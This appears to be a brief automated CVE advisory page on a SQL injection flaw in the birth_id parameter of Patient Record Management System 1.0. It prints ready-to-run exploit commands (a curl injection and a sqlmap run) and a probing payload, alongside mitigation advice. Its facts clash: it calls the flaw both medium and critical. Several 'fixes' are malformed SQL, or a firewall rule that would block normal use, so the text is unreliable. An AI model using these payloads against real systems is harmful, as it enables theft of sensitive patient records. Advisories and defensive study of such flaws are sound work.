How CVE-2025-3207 Works
The CVE-2025-3207 vulnerability exists in Patient Record Management System 1.0 within the birthing_form.php file. Attackers can exploit improper input sanitization of the birth_id parameter to inject malicious SQL queries. When the application constructs SQL statements without proper validation, attackers manipulate the birth_id value to execute arbitrary database commands. This occurs due to direct concatenation of user-controlled input into SQL queries. Remote attackers leverage this flaw to extract sensitive patient records, modify database contents, or gain administrative access. The vulnerability has a CVSS 4.0 score of 5.3 (MEDIUM) with network attack vector and low attack complexity.
DailyCVE Form
Platform: Patient Record Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/08/2025
What Undercode Say:
Analytics:
- Attack vector: HTTP request to /birthing_form.php
- Impact: Full database compromise
- Exploitability: Weaponized PoC available
Exploit Commands:
curl -X GET "http://target.com/birthing_form.php?birth_id=1'%20OR%201=1--" sqlmap -u "http://target.com/birthing_form.php?birth_id=1" --dbs
Protection Commands:
Web Application Firewall rule iptables -A INPUT -p tcp --dport 80 -m string --string "birth_id" --algo bm -j DROP Database hardening REVOKE ALL PRIVILEGES ON . FROM 'appuser'@'%'; GRANT SELECT ONLY ON patient_db. TO 'appuser'@'localhost';
Code Fix:
// Before vulnerable code:
$birth_id = $_GET['birth_id'];
$query = "SELECT FROM births WHERE id = $birth_id";
// After fix:
$birth_id = (int)$_GET['birth_id'];
$stmt = $conn->prepare("SELECT FROM births WHERE id = ?");
$stmt->bind_param("i", $birth_id);
$stmt->execute();
Detection Script:
import requests
def check_vulnerability(url):
payload = "1' AND 1=CONVERT(int,@@version)--"
response = requests.get(f"{url}/birthing_form.php?birth_id={payload}")
return "SQL Server" in response.text
Mitigation Steps:
1. Apply input validation for all parameters
2. Implement prepared statements
3. Update to patched version
4. Restrict database permissions
5. Deploy WAF with SQLi rulesets
Log Analysis:
grep 'birthing_form.php' access.log | grep -E "UNION|SELECT|--"
